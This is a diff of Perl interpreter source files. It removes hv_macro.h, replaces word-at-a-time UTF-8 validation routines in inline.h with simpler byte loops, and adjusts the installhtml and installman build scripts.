--- a/hv_macro.h +++ /dev/null @@ -1,81 +0,0 @@ -#ifndef PERL_SEEN_HV_MACRO_H /* compile once */ -#define PERL_SEEN_HV_MACRO_H - -#if IVSIZE == 8 -#define CAN64BITHASH -#endif - -/*----------------------------------------------------------------------------- - * Endianess, misalignment capabilities and util macros - * - * The following 3 macros are defined in this section. The other macros defined - * are only needed to help derive these 3. - * - * U8TO16_LE(x) Read a little endian unsigned 32-bit int - * U8TO32_LE(x) Read a little endian unsigned 32-bit int - * U8TO28_LE(x) Read a little endian unsigned 32-bit int - * ROTL32(x,r) Rotate x left by r bits - * ROTL64(x,r) Rotate x left by r bits - * ROTR32(x,r) Rotate x right by r bits - * ROTR64(x,r) Rotate x right by r bits - */ - -#ifndef U32_ALIGNMENT_REQUIRED - #if (BYTEORDER == 0x1234 || BYTEORDER == 0x12345678) - #define U8TO16_LE(ptr) (*((const U16*)(ptr))) - #define U8TO32_LE(ptr) (*((const U32*)(ptr))) - #define U8TO64_LE(ptr) (*((const U64*)(ptr))) - #elif (BYTEORDER == 0x4321 || BYTEORDER == 0x87654321) - #if defined(__GNUC__) && (__GNUC__>4 || (__GNUC__==4 && __GNUC_MINOR__>=3)) - #define U8TO16_LE(ptr) (__builtin_bswap16(*((U16*)(ptr)))) - #define U8TO32_LE(ptr) (__builtin_bswap32(*((U32*)(ptr)))) - #define U8TO64_LE(ptr) (__builtin_bswap64(*((U64*)(ptr)))) - #endif - #endif -#endif - -#ifndef U8TO16_LE - /* Without a known fast bswap32 we're just as well off doing this */ - #define U8TO16_LE(ptr) ((U32)(ptr)[0]|(U32)(ptr)[1]<<8) - #define U8TO32_LE(ptr) ((U32)(ptr)[0]|(U32)(ptr)[1]<<8|(U32)(ptr)[2]<<16|(U32)(ptr)[3]<<24) - #define U8TO64_LE(ptr) ((U64)(ptr)[0]|(U64)(ptr)[1]<<8|(U64)(ptr)[2]<<16|(U64)(ptr)[3]<<24|\ - (U64)(ptr)[4]<<32|(U64)(ptr)[5]<<40|\ - (U64)(ptr)[6]<<48|(U64)(ptr)[7]<<56) -#endif - -#ifdef CAN64BITHASH - #ifndef U64TYPE - /* This probably isn't going to work, but failing with a compiler error due to - lack of uint64_t is no worse than failing right now with an #error. */ - #define U64 uint64_t - #endif -#endif - -/* Find best way to ROTL32/ROTL64 */ -#if defined(_MSC_VER) - #include /* Microsoft put _rotl declaration in here */ - #define ROTL32(x,r) _rotl(x,r) - #define ROTR32(x,r) _rotr(x,r) - #define ROTL64(x,r) _rotl64(x,r) - #define ROTR64(x,r) _rotr64(x,r) -#else - /* gcc recognises this code and generates a rotate instruction for CPUs with one */ - #define ROTL32(x,r) (((U32)(x) << (r)) | ((U32)(x) >> (32 - (r)))) - #define ROTR32(x,r) (((U32)(x) << (32 - (r))) | ((U32)(x) >> (r))) - #define ROTL64(x,r) ( ( (U64)(x) << (r) ) | ( (U64)(x) >> ( 64 - (r) ) ) ) - #define ROTR64(x,r) ( ( (U64)(x) << ( 64 - (r) ) ) | ( (U64)(x) >> (r) ) ) -#endif - - -#ifdef UV_IS_QUAD -#define ROTL_UV(x,r) ROTL64(x,r) -#define ROTR_UV(x,r) ROTL64(x,r) -#else -#define ROTL_UV(x,r) ROTL32(x,r) -#define ROTR_UV(x,r) ROTR32(x,r) -#endif -#if IVSIZE == 8 -#define CAN64BITHASH -#endif - -#endif diff --git a/inline.h b/inline.h index d847c6b4ad2f..12633a36fae3 100644 --- a/inline.h +++ b/inline.h @@ -153,10 +153,8 @@ S_POPMARK(pTHX) PERL_STATIC_INLINE struct regexp * S_ReANY(const REGEXP * const re) { - XPV* const p = (XPV*)SvANY(re); assert(isREGEXP(re)); - return SvTYPE(re) == SVt_PVLV ? p->xpv_len_u.xpvlenu_rx - : (struct regexp *)p; + return re->sv_u.svu_rx; } /* ------------------------------- sv.h ------------------------------- */ @@ -244,13 +242,17 @@ S_sv_or_pv_pos_u2b(pTHX_ SV *sv, const char *pv, STRLEN pos, STRLEN *lenp) /* ------------------------------- handy.h ------------------------------- */ /* saves machine code for a common noreturn idiom typically used in Newx*() */ -GCC_DIAG_IGNORE_DECL(-Wunused-function); +#ifdef GCC_DIAG_PRAGMA +GCC_DIAG_IGNORE(-Wunused-function) /* Intentionally left semicolonless. */ +#endif static void S_croak_memory_wrap(void) { Perl_croak_nocontext("%s",PL_memory_wrap); } -GCC_DIAG_RESTORE_DECL; +#ifdef GCC_DIAG_PRAGMA +GCC_DIAG_RESTORE /* Intentionally left semicolonless. */ +#endif /* ------------------------------- utf8.h ------------------------------- */ @@ -351,328 +353,24 @@ and C>. =cut - -*/ - -#define is_utf8_invariant_string(s, len) \ - is_utf8_invariant_string_loc(s, len, NULL) - -/* -=for apidoc is_utf8_invariant_string_loc - -Like C> but upon failure, stores the location of -the first UTF-8 variant character in the C pointer; if all characters are -UTF-8 invariant, this function does not change the contents of C<*ep>. - -=cut - */ PERL_STATIC_INLINE bool -S_is_utf8_invariant_string_loc(const U8* const s, STRLEN len, const U8 ** ep) +S_is_utf8_invariant_string(const U8* const s, const STRLEN len) { - const U8* send; + const U8* const send = s + (len ? len : strlen((const char *)s)); const U8* x = s; - PERL_ARGS_ASSERT_IS_UTF8_INVARIANT_STRING_LOC; + PERL_ARGS_ASSERT_IS_UTF8_INVARIANT_STRING; - if (len == 0) { - len = strlen((const char *)s); - } - - send = s + len; - -/* This looks like 0x010101... */ -# define PERL_COUNT_MULTIPLIER (~ (UINTMAX_C(0)) / 0xFF) - -/* This looks like 0x808080... */ -# define PERL_VARIANTS_WORD_MASK (PERL_COUNT_MULTIPLIER * 0x80) -# define PERL_WORDSIZE sizeof(PERL_UINTMAX_T) -# define PERL_WORD_BOUNDARY_MASK (PERL_WORDSIZE - 1) - -/* Evaluates to 0 if 'x' is at a word boundary; otherwise evaluates to 1, by - * or'ing together the lowest bits of 'x'. Hopefully the final term gets - * optimized out completely on a 32-bit system, and its mask gets optimized out - * on a 64-bit system */ -# define PERL_IS_SUBWORD_ADDR(x) (1 & ( PTR2nat(x) \ - | ( PTR2nat(x) >> 1) \ - | ( ( (PTR2nat(x) \ - & PERL_WORD_BOUNDARY_MASK) >> 2)))) - -#ifndef EBCDIC - - /* Do the word-at-a-time iff there is at least one usable full word. That - * means that after advancing to a word boundary, there still is at least a - * full word left. The number of bytes needed to advance is 'wordsize - - * offset' unless offset is 0. */ - if ((STRLEN) (send - x) >= PERL_WORDSIZE - - /* This term is wordsize if subword; 0 if not */ - + PERL_WORDSIZE * PERL_IS_SUBWORD_ADDR(x) - - /* 'offset' */ - - (PTR2nat(x) & PERL_WORD_BOUNDARY_MASK)) - { - - /* Process per-byte until reach word boundary. XXX This loop could be - * eliminated if we knew that this platform had fast unaligned reads */ - while (PTR2nat(x) & PERL_WORD_BOUNDARY_MASK) { - if (! UTF8_IS_INVARIANT(*x)) { - if (ep) { - *ep = x; - } - - return FALSE; - } - x++; - } - - /* Here, we know we have at least one full word to process. Process - * per-word as long as we have at least a full word left */ - do { - if ((* (PERL_UINTMAX_T *) x) & PERL_VARIANTS_WORD_MASK) { - - /* Found a variant. Just return if caller doesn't want its - * exact position */ - if (! ep) { - return FALSE; - } - -# if BYTEORDER == 0x1234 || BYTEORDER == 0x12345678 \ - || BYTEORDER == 0x4321 || BYTEORDER == 0x87654321 - - *ep = x + _variant_byte_number(* (PERL_UINTMAX_T *) x); - assert(*ep >= s && *ep < send); - - return FALSE; - -# else /* If weird byte order, drop into next loop to do byte-at-a-time - checks. */ - - break; -# endif - } - - x += PERL_WORDSIZE; - - } while (x + PERL_WORDSIZE <= send); - } - -#endif /* End of ! EBCDIC */ - - /* Process per-byte */ - while (x < send) { - if (! UTF8_IS_INVARIANT(*x)) { - if (ep) { - *ep = x; - } - - return FALSE; - } - - x++; + for (; x < send; ++x) { + if (!UTF8_IS_INVARIANT(*x)) + return FALSE; } return TRUE; } -#ifndef EBCDIC - -PERL_STATIC_INLINE unsigned int -S__variant_byte_number(PERL_UINTMAX_T word) -{ - - /* This returns the position in a word (0..7) of the first variant byte in - * it. This is a helper function. Note that there are no branches */ - - assert(word); - - /* Get just the msb bits of each byte */ - word &= PERL_VARIANTS_WORD_MASK; - -# ifdef USING_MSVC6 /* VC6 has some issues with the normal code, and the - easiest thing is to hide that from the callers */ - { - unsigned int i; - const U8 * s = (U8 *) &word; - dTHX; - - for (i = 0; i < sizeof(word); i++ ) { - if (s[i]) { - return i; - } - } - - Perl_croak(aTHX_ "panic: %s: %d: unexpected zero word\n", - __FILE__, __LINE__); - } - -# elif BYTEORDER == 0x1234 || BYTEORDER == 0x12345678 - - /* Bytes are stored like - * Byte8 ... Byte2 Byte1 - * 63..56...15...8 7...0 - * - * Isolate the lsb; - * https://stackoverflow.com/questions/757059/position-of-least-significant-bit-that-is-set - * - * The word will look this this, with a rightmost set bit in position 's': - * ('x's are don't cares) - * s - * x..x100..0 - * x..xx10..0 Right shift (rightmost 0 is shifted off) - * x..xx01..1 Subtract 1, turns all the trailing zeros into 1's and - * the 1 just to their left into a 0; the remainder is - * untouched - * 0..0011..1 The xor with x..xx10..0 clears that remainder, sets - * bottom to all 1 - * 0..0100..0 Add 1 to clear the word except for the bit in 's' - * - * Another method is to do 'word &= -word'; but it generates a compiler - * message on some platforms about taking the negative of an unsigned */ - - word >>= 1; - word = 1 + (word ^ (word - 1)); - -# elif BYTEORDER == 0x4321 || BYTEORDER == 0x87654321 - - /* Bytes are stored like - * Byte1 Byte2 ... Byte8 - * 63..56 55..47 ... 7...0 - * - * Isolate the msb; http://codeforces.com/blog/entry/10330 - * - * Only the most significant set bit matters. Or'ing word with its right - * shift of 1 makes that bit and the next one to its right both 1. Then - * right shifting by 2 makes for 4 1-bits in a row. ... We end with the - * msb and all to the right being 1. */ - word |= word >> 1; - word |= word >> 2; - word |= word >> 4; - word |= word >> 8; - word |= word >> 16; - word |= word >> 32; /* This should get optimized out on 32-bit systems. */ - - /* Then subtracting the right shift by 1 clears all but the left-most of - * the 1 bits, which is our desired result */ - word -= (word >> 1); - -# else -# error Unexpected byte order -# endif - - /* Here 'word' has a single bit set: the msb of the first byte in which it - * is set. Calculate that position in the word. We can use this - * specialized solution: https://stackoverflow.com/a/32339674/1626653, - * assumes an 8-bit byte. (On a 32-bit machine, the larger numbers should - * just get shifted off at compile time) */ - word = (word >> 7) * ((UINTMAX_C( 7) << 56) | (UINTMAX_C(15) << 48) - | (UINTMAX_C(23) << 40) | (UINTMAX_C(31) << 32) - | (39 << 24) | (47 << 16) - | (55 << 8) | (63 << 0)); - word >>= PERL_WORDSIZE * 7; /* >> by either 56 or 24 */ - - /* Here, word contains the position 7..63 of that bit. Convert to 0..7 */ - word = ((word + 1) >> 3) - 1; - -# if BYTEORDER == 0x4321 || BYTEORDER == 0x87654321 - - /* And invert the result */ - word = CHARBITS - word - 1; - -# endif - - return (unsigned int) word; -} - -#endif -#if defined(PERL_CORE) || defined(PERL_EXT) - -/* -=for apidoc variant_under_utf8_count - -This function looks at the sequence of bytes between C and C, which are -assumed to be encoded in ASCII/Latin1, and returns how many of them would -change should the string be translated into UTF-8. Due to the nature of UTF-8, -each of these would occupy two bytes instead of the single one in the input -string. Thus, this function returns the precise number of bytes the string -would expand by when translated to UTF-8. - -Unlike most of the other functions that have C in their name, the input -to this function is NOT a UTF-8-encoded string. The function name is slightly -I to emphasize this. - -This function is internal to Perl because khw thinks that any XS code that -would want this is probably operating too close to the internals. Presenting a -valid use case could change that. - -See also -C> -and -C>, - -=cut - -*/ - -PERL_STATIC_INLINE Size_t -S_variant_under_utf8_count(const U8* const s, const U8* const e) -{ - const U8* x = s; - Size_t count = 0; - - PERL_ARGS_ASSERT_VARIANT_UNDER_UTF8_COUNT; - -# ifndef EBCDIC - - /* Test if the string is long enough to use word-at-a-time. (Logic is the - * same as for is_utf8_invariant_string()) */ - if ((STRLEN) (e - x) >= PERL_WORDSIZE - + PERL_WORDSIZE * PERL_IS_SUBWORD_ADDR(x) - - (PTR2nat(x) & PERL_WORD_BOUNDARY_MASK)) - { - - /* Process per-byte until reach word boundary. XXX This loop could be - * eliminated if we knew that this platform had fast unaligned reads */ - while (PTR2nat(x) & PERL_WORD_BOUNDARY_MASK) { - count += ! UTF8_IS_INVARIANT(*x++); - } - - /* Process per-word as long as we have at least a full word left */ - do { /* Commit 03c1e4ab1d6ee9062fb3f94b0ba31db6698724b1 contains an - explanation of how this works */ - PERL_UINTMAX_T increment - = ((((* (PERL_UINTMAX_T *) x) & PERL_VARIANTS_WORD_MASK) >> 7) - * PERL_COUNT_MULTIPLIER) - >> ((PERL_WORDSIZE - 1) * CHARBITS); - count += (Size_t) increment; - x += PERL_WORDSIZE; - } while (x + PERL_WORDSIZE <= e); - } - -# endif - - /* Process per-byte */ - while (x < e) { - if (! UTF8_IS_INVARIANT(*x)) { - count++; - } - - x++; - } - - return count; -} - -#endif - -#ifndef PERL_IN_REGEXEC_C /* Keep these around for that file */ -# undef PERL_WORDSIZE -# undef PERL_COUNT_MULTIPLIER -# undef PERL_WORD_BOUNDARY_MASK -# undef PERL_VARIANTS_WORD_MASK -#endif - /* =for apidoc is_utf8_string @@ -690,7 +388,6 @@ code points are considered valid. See also C>, -C>, C>, C>, C>, @@ -700,53 +397,28 @@ C>, =cut */ -#define is_utf8_string(s, len) is_utf8_string_loclen(s, len, NULL, NULL) - -#if defined(PERL_CORE) || defined (PERL_EXT) - -/* -=for apidoc is_utf8_non_invariant_string - -Returns TRUE if L returns FALSE for the first -C bytes of the string C, but they are, nonetheless, legal Perl-extended -UTF-8; otherwise returns FALSE. - -A TRUE return means that at least one code point represented by the sequence -either is a wide character not representable as a single byte, or the -representation differs depending on whether the sequence is encoded in UTF-8 or -not. - -See also -C>, -C> - -=cut - -This is commonly used to determine if a SV's UTF-8 flag should be turned on. -It generally needn't be if its string is entirely UTF-8 invariant, and it -shouldn't be if it otherwise contains invalid UTF-8. - -It is an internal function because khw thinks that XS code shouldn't be working -at this low a level. A valid use case could change that. - -*/ - PERL_STATIC_INLINE bool -S_is_utf8_non_invariant_string(const U8* const s, STRLEN len) +Perl_is_utf8_string(const U8 *s, const STRLEN len) { - const U8 * first_variant; + /* This is now marked pure in embed.fnc, because isUTF8_CHAR now is pure. + * Be aware of possible changes to that */ - PERL_ARGS_ASSERT_IS_UTF8_NON_INVARIANT_STRING; + const U8* const send = s + (len ? len : strlen((const char *)s)); + const U8* x = s; - if (is_utf8_invariant_string_loc(s, len, &first_variant)) { - return FALSE; + PERL_ARGS_ASSERT_IS_UTF8_STRING; + + while (x < send) { + const STRLEN cur_len = isUTF8_CHAR(x, send); + if (UNLIKELY(! cur_len)) { + return FALSE; + } + x += cur_len; } - return is_utf8_string(first_variant, len - (first_variant - s)); + return TRUE; } -#endif - /* =for apidoc is_strict_utf8_string @@ -763,7 +435,6 @@ non-character code points. See also C>, -C>, C>, C>, C>, @@ -783,7 +454,24 @@ C>. =cut */ -#define is_strict_utf8_string(s, len) is_strict_utf8_string_loclen(s, len, NULL, NULL) +PERL_STATIC_INLINE bool +S_is_strict_utf8_string(const U8 *s, const STRLEN len) +{ + const U8* const send = s + (len ? len : strlen((const char *)s)); + const U8* x = s; + + PERL_ARGS_ASSERT_IS_STRICT_UTF8_STRING; + + while (x < send) { + const STRLEN cur_len = isSTRICT_UTF8_CHAR(x, send); + if (UNLIKELY(! cur_len)) { + return FALSE; + } + x += cur_len; + } + + return TRUE; +} /* =for apidoc is_c9strict_utf8_string @@ -803,7 +491,6 @@ L. See also C>, -C>, C>, C>, C>, @@ -823,7 +510,28 @@ C>. =cut */ -#define is_c9strict_utf8_string(s, len) is_c9strict_utf8_string_loclen(s, len, NULL, 0) +PERL_STATIC_INLINE bool +S_is_c9strict_utf8_string(const U8 *s, const STRLEN len) +{ + const U8* const send = s + (len ? len : strlen((const char *)s)); + const U8* x = s; + + PERL_ARGS_ASSERT_IS_C9STRICT_UTF8_STRING; + + while (x < send) { + const STRLEN cur_len = isC9_STRICT_UTF8_CHAR(x, send); + if (UNLIKELY(! cur_len)) { + return FALSE; + } + x += cur_len; + } + + return TRUE; +} + +/* The above 3 functions could have been moved into the more general one just + * below, and made #defines that call it with the right 'flags'. They are + * currently kept separate to increase their chances of getting inlined */ /* =for apidoc is_utf8_string_flags @@ -845,7 +553,6 @@ C>, with the same meanings. See also C>, -C>, C>, C>, C>, @@ -866,45 +573,37 @@ C>. */ PERL_STATIC_INLINE bool -S_is_utf8_string_flags(const U8 *s, STRLEN len, const U32 flags) +S_is_utf8_string_flags(const U8 *s, const STRLEN len, const U32 flags) { - const U8 * first_variant; + const U8* const send = s + (len ? len : strlen((const char *)s)); + const U8* x = s; PERL_ARGS_ASSERT_IS_UTF8_STRING_FLAGS; assert(0 == (flags & ~(UTF8_DISALLOW_ILLEGAL_INTERCHANGE - |UTF8_DISALLOW_PERL_EXTENDED))); - - if (len == 0) { - len = strlen((const char *)s); - } + |UTF8_DISALLOW_ABOVE_31_BIT))); if (flags == 0) { return is_utf8_string(s, len); } - if ((flags & ~UTF8_DISALLOW_PERL_EXTENDED) + if ((flags & ~UTF8_DISALLOW_ABOVE_31_BIT) == UTF8_DISALLOW_ILLEGAL_INTERCHANGE) { return is_strict_utf8_string(s, len); } - if ((flags & ~UTF8_DISALLOW_PERL_EXTENDED) + if ((flags & ~UTF8_DISALLOW_ABOVE_31_BIT) == UTF8_DISALLOW_ILLEGAL_C9_INTERCHANGE) { return is_c9strict_utf8_string(s, len); } - if (! is_utf8_invariant_string_loc(s, len, &first_variant)) { - const U8* const send = s + len; - const U8* x = first_variant; - - while (x < send) { - STRLEN cur_len = isUTF8_CHAR_flags(x, send, flags); - if (UNLIKELY(! cur_len)) { - return FALSE; - } - x += cur_len; + while (x < send) { + STRLEN cur_len = isUTF8_CHAR_flags(x, send, flags); + if (UNLIKELY(! cur_len)) { + return FALSE; } + x += cur_len; } return TRUE; @@ -940,50 +639,31 @@ See also C>. */ PERL_STATIC_INLINE bool -Perl_is_utf8_string_loclen(const U8 *s, STRLEN len, const U8 **ep, STRLEN *el) +Perl_is_utf8_string_loclen(const U8 *s, const STRLEN len, const U8 **ep, STRLEN *el) { - const U8 * first_variant; + const U8* const send = s + (len ? len : strlen((const char *)s)); + const U8* x = s; + STRLEN outlen = 0; PERL_ARGS_ASSERT_IS_UTF8_STRING_LOCLEN; - if (len == 0) { - len = strlen((const char *) s); - } - - if (is_utf8_invariant_string_loc(s, len, &first_variant)) { - if (el) - *el = len; - - if (ep) { - *ep = s + len; + while (x < send) { + const STRLEN cur_len = isUTF8_CHAR(x, send); + if (UNLIKELY(! cur_len)) { + break; } - - return TRUE; + x += cur_len; + outlen++; } - { - const U8* const send = s + len; - const U8* x = first_variant; - STRLEN outlen = first_variant - s; - - while (x < send) { - const STRLEN cur_len = isUTF8_CHAR(x, send); - if (UNLIKELY(! cur_len)) { - break; - } - x += cur_len; - outlen++; - } + if (el) + *el = outlen; - if (el) - *el = outlen; - - if (ep) { - *ep = x; - } - - return (x == send); + if (ep) { + *ep = x; } + + return (x == send); } /* @@ -1017,50 +697,31 @@ See also C>. */ PERL_STATIC_INLINE bool -S_is_strict_utf8_string_loclen(const U8 *s, STRLEN len, const U8 **ep, STRLEN *el) +S_is_strict_utf8_string_loclen(const U8 *s, const STRLEN len, const U8 **ep, STRLEN *el) { - const U8 * first_variant; + const U8* const send = s + (len ? len : strlen((const char *)s)); + const U8* x = s; + STRLEN outlen = 0; PERL_ARGS_ASSERT_IS_STRICT_UTF8_STRING_LOCLEN; - if (len == 0) { - len = strlen((const char *) s); - } - - if (is_utf8_invariant_string_loc(s, len, &first_variant)) { - if (el) - *el = len; - - if (ep) { - *ep = s + len; + while (x < send) { + const STRLEN cur_len = isSTRICT_UTF8_CHAR(x, send); + if (UNLIKELY(! cur_len)) { + break; } - - return TRUE; + x += cur_len; + outlen++; } - { - const U8* const send = s + len; - const U8* x = first_variant; - STRLEN outlen = first_variant - s; - - while (x < send) { - const STRLEN cur_len = isSTRICT_UTF8_CHAR(x, send); - if (UNLIKELY(! cur_len)) { - break; - } - x += cur_len; - outlen++; - } - - if (el) - *el = outlen; + if (el) + *el = outlen; - if (ep) { - *ep = x; - } - - return (x == send); + if (ep) { + *ep = x; } + + return (x == send); } /* @@ -1094,50 +755,31 @@ See also C>. */ PERL_STATIC_INLINE bool -S_is_c9strict_utf8_string_loclen(const U8 *s, STRLEN len, const U8 **ep, STRLEN *el) +S_is_c9strict_utf8_string_loclen(const U8 *s, const STRLEN len, const U8 **ep, STRLEN *el) { - const U8 * first_variant; + const U8* const send = s + (len ? len : strlen((const char *)s)); + const U8* x = s; + STRLEN outlen = 0; PERL_ARGS_ASSERT_IS_C9STRICT_UTF8_STRING_LOCLEN; - if (len == 0) { - len = strlen((const char *) s); - } - - if (is_utf8_invariant_string_loc(s, len, &first_variant)) { - if (el) - *el = len; - - if (ep) { - *ep = s + len; + while (x < send) { + const STRLEN cur_len = isC9_STRICT_UTF8_CHAR(x, send); + if (UNLIKELY(! cur_len)) { + break; } - - return TRUE; + x += cur_len; + outlen++; } - { - const U8* const send = s + len; - const U8* x = first_variant; - STRLEN outlen = first_variant - s; - - while (x < send) { - const STRLEN cur_len = isC9_STRICT_UTF8_CHAR(x, send); - if (UNLIKELY(! cur_len)) { - break; - } - x += cur_len; - outlen++; - } - - if (el) - *el = outlen; - - if (ep) { - *ep = x; - } + if (el) + *el = outlen; - return (x == send); + if (ep) { + *ep = x; } + + return (x == send); } /* @@ -1176,68 +818,49 @@ See also C>. */ PERL_STATIC_INLINE bool -S_is_utf8_string_loclen_flags(const U8 *s, STRLEN len, const U8 **ep, STRLEN *el, const U32 flags) +S_is_utf8_string_loclen_flags(const U8 *s, const STRLEN len, const U8 **ep, STRLEN *el, const U32 flags) { - const U8 * first_variant; + const U8* const send = s + (len ? len : strlen((const char *)s)); + const U8* x = s; + STRLEN outlen = 0; PERL_ARGS_ASSERT_IS_UTF8_STRING_LOCLEN_FLAGS; assert(0 == (flags & ~(UTF8_DISALLOW_ILLEGAL_INTERCHANGE - |UTF8_DISALLOW_PERL_EXTENDED))); - - if (len == 0) { - len = strlen((const char *) s); - } + |UTF8_DISALLOW_ABOVE_31_BIT))); if (flags == 0) { return is_utf8_string_loclen(s, len, ep, el); } - if ((flags & ~UTF8_DISALLOW_PERL_EXTENDED) + if ((flags & ~UTF8_DISALLOW_ABOVE_31_BIT) == UTF8_DISALLOW_ILLEGAL_INTERCHANGE) { return is_strict_utf8_string_loclen(s, len, ep, el); } - if ((flags & ~UTF8_DISALLOW_PERL_EXTENDED) + if ((flags & ~UTF8_DISALLOW_ABOVE_31_BIT) == UTF8_DISALLOW_ILLEGAL_C9_INTERCHANGE) { return is_c9strict_utf8_string_loclen(s, len, ep, el); } - if (is_utf8_invariant_string_loc(s, len, &first_variant)) { - if (el) - *el = len; - - if (ep) { - *ep = s + len; + while (x < send) { + const STRLEN cur_len = isUTF8_CHAR_flags(x, send, flags); + if (UNLIKELY(! cur_len)) { + break; } - - return TRUE; + x += cur_len; + outlen++; } - { - const U8* send = s + len; - const U8* x = first_variant; - STRLEN outlen = first_variant - s; - - while (x < send) { - const STRLEN cur_len = isUTF8_CHAR_flags(x, send, flags); - if (UNLIKELY(! cur_len)) { - break; - } - x += cur_len; - outlen++; - } - - if (el) - *el = outlen; - - if (ep) { - *ep = x; - } + if (el) + *el = outlen; - return (x == send); + if (ep) { + *ep = x; } + + return (x == send); } /* @@ -1293,9 +916,9 @@ Perl_utf8_hop(const U8 *s, SSize_t off) s--; } } - GCC_DIAG_IGNORE(-Wcast-qual) + GCC_DIAG_IGNORE(-Wcast-qual); return (U8 *)s; - GCC_DIAG_RESTORE + GCC_DIAG_RESTORE; } /* @@ -1330,16 +953,16 @@ Perl_utf8_hop_forward(const U8 *s, SSize_t off, const U8 *end) while (off--) { STRLEN skip = UTF8SKIP(s); if ((STRLEN)(end - s) <= skip) { - GCC_DIAG_IGNORE(-Wcast-qual) + GCC_DIAG_IGNORE(-Wcast-qual); return (U8 *)end; - GCC_DIAG_RESTORE + GCC_DIAG_RESTORE; } s += skip; } - GCC_DIAG_IGNORE(-Wcast-qual) + GCC_DIAG_IGNORE(-Wcast-qual); return (U8 *)s; - GCC_DIAG_RESTORE + GCC_DIAG_RESTORE; } /* @@ -1377,9 +1000,9 @@ Perl_utf8_hop_back(const U8 *s, SSize_t off, const U8 *start) s--; } - GCC_DIAG_IGNORE(-Wcast-qual) + GCC_DIAG_IGNORE(-Wcast-qual); return (U8 *)s; - GCC_DIAG_RESTORE + GCC_DIAG_RESTORE; } /* @@ -1471,7 +1094,7 @@ S_is_utf8_valid_partial_char_flags(const U8 * const s, const U8 * const e, const PERL_ARGS_ASSERT_IS_UTF8_VALID_PARTIAL_CHAR_FLAGS; assert(0 == (flags & ~(UTF8_DISALLOW_ILLEGAL_INTERCHANGE - |UTF8_DISALLOW_PERL_EXTENDED))); + |UTF8_DISALLOW_ABOVE_31_BIT))); if (s >= e || s + UTF8SKIP(s) <= e) { return FALSE; @@ -1535,7 +1158,7 @@ complete, valid characters found in the C pointer. PERL_STATIC_INLINE bool S_is_utf8_fixed_width_buf_loclen_flags(const U8 * const s, - STRLEN len, + const STRLEN len, const U8 **ep, STRLEN *el, const U32 flags) @@ -2108,29 +1731,6 @@ Perl_foldEQ_locale(const char *s1, const char *s2, I32 len) return 1; } -#if ! defined (HAS_MEMRCHR) && (defined(PERL_CORE) || defined(PERL_EXT)) - -PERL_STATIC_INLINE void * -S_my_memrchr(const char * s, const char c, const STRLEN len) -{ - /* memrchr(), since many platforms lack it */ - - const char * t = s + len - 1; - - PERL_ARGS_ASSERT_MY_MEMRCHR; - - while (t >= s) { - if (*t == c) { - return (void *) t; - } - t--; - } - - return NULL; -} - -#endif - /* * ex: set ts=8 sts=4 sw=4 et: */ diff --git a/installhtml b/installhtml index 9f6ef7e60a66..1094c6a6f0be 100644 --- a/installhtml +++ b/installhtml @@ -4,11 +4,10 @@ use strict; use Config; # for config options in the makefile -use File::Path qw(remove_tree); use File::Spec::Functions qw(rel2abs no_upwards); use Getopt::Long; # for command-line parsing use Cwd; -use Pod::Html 1.23 qw(anchorify relativize_url); +use Pod::Html 'anchorify'; =head1 NAME @@ -165,7 +164,7 @@ usage("") unless @ARGV; # See vms/descrip_mms.template -> descrip.mms for invocation. if ( $^O eq 'VMS' ) { @ARGV = split(/\s+/,$ARGV[0]); } -our %Options; +use vars qw( %Options ); # parse the command-line my $result = GetOptions( \%Options, qw( @@ -241,10 +240,10 @@ foreach my $dir (@splithead) { $/ = ""; my @data = (); while () { - last if m!

NAME

!; + last if /name="name"/i; $_ =~ s{href="#(.*)">}{ - my $url = "$file/@{[anchorify(qq($1))]}.html" ; - $url = relativize_url( $url, "$file.html" ) + my $url = "$pod/$1.html" ; + $url = Pod::Html::relativize_url( $url, "$file.html" ) if ( ! defined $Options{htmlroot} || $Options{htmlroot} eq '' ); "href=\"$url\">" ; }egi; @@ -255,12 +254,10 @@ foreach my $dir (@splithead) { # now rewrite the file open(H, '>', "$file.html") || die "$0: error opening $file.html for output: $!\n"; - print H @data, "\n\n\n\n\n"; + print H "@data", "\n"; close(H); } -remove_tree(@splitdirs, {safe=>1}); - ############################################################################## @@ -324,9 +321,9 @@ sub create_index { m#

NAME

\s*

\s*(\S+)\s+-\s+(\S.*?\S)

#); defined $lcp1 or die "$0: can't find NAME section in $dir/$file\n"; - my $url= "$dir/$file" ; + my $url= "$pod/$file" ; if ( ! defined $Options{htmlroot} || $Options{htmlroot} eq '' ) { - $url = relativize_url( $url, $html ) ; + $url = Pod::Html::relativize_url( "$pod/$file", $html ) ; } print HTML qq(
); @@ -381,9 +378,10 @@ sub split_on_item { # split the pod push(@$splitdirs, "$podroot/$dirname"); - -d "$podroot/$dirname" and remove_tree("$podroot/$dirname", {safe=>1}); - mkdir("$podroot/$dirname", 0755) || + if (! -d "$podroot/$dirname") { + mkdir("$podroot/$dirname", 0755) || die "$0: error creating directory $podroot/$dirname: $!\n"; + } chdir("$podroot/$dirname") || die "$0: error changing to directory $podroot/$dirname: $!\n"; die "$splitter not found. Use '-splitpod dir' option.\n" @@ -439,9 +437,9 @@ sub splitpod { my $dir = $pod; $dir =~ s/\.pod//g; push(@$splitdirs, "$poddir/$dir"); - -d "$poddir/$dir" and remove_tree("$poddir/$dir", {safe=>1}); mkdir("$poddir/$dir", 0755) || - die "$0: could not create directory $poddir/$dir: $!\n"; + die "$0: could not create directory $poddir/$dir: $!\n" + unless -d "$poddir/$dir"; $poddata[0] =~ /^\s*=head[1-6]\s+(.*)/; $section = ""; diff --git a/installman b/installman index 0154be4d68cb..53117ab57543 100755 --- a/installman +++ b/installman @@ -13,7 +13,7 @@ use strict; use Getopt::Long; use ExtUtils::Packlist; use Pod::Man; -our ( %opts, $packlist ); +use vars qw(%opts $packlist); require './Porting/pod_lib.pl'; my %man1 = (map {($_->[0], $_->[1])} @{get_pod_metadata()->{master}}); @@ -54,12 +54,6 @@ foreach my $pre (qw(man1 man3)) { } $opts{verbose} ||= $opts{notify}; -# Explicitly disabled installation of man pages -if ($opts{man1dir} eq '' && $opts{man3dir} eq '') { - warn "Manual page installation was disabled by Configure\n"; - exit 0; -} - #Sanity checks -x "./perl$Config{exe_ext}" @@ -76,37 +70,35 @@ $packlist = ExtUtils::Packlist->new("$opts{destdir}$Config{installarchlib}/.pack pod2man(\%man1, $opts{man1dir}, $opts{man1ext}, 'pod'); # Install the pods for library modules. -if ($opts{man3dir} ne '') { +{ my $found = pods_to_install(); pod2man($found->{$_}, $opts{man3dir}, $opts{man3ext}, 'lib') foreach qw(MODULE PRAGMA); } # Install the pods embedded in the installed scripts -if 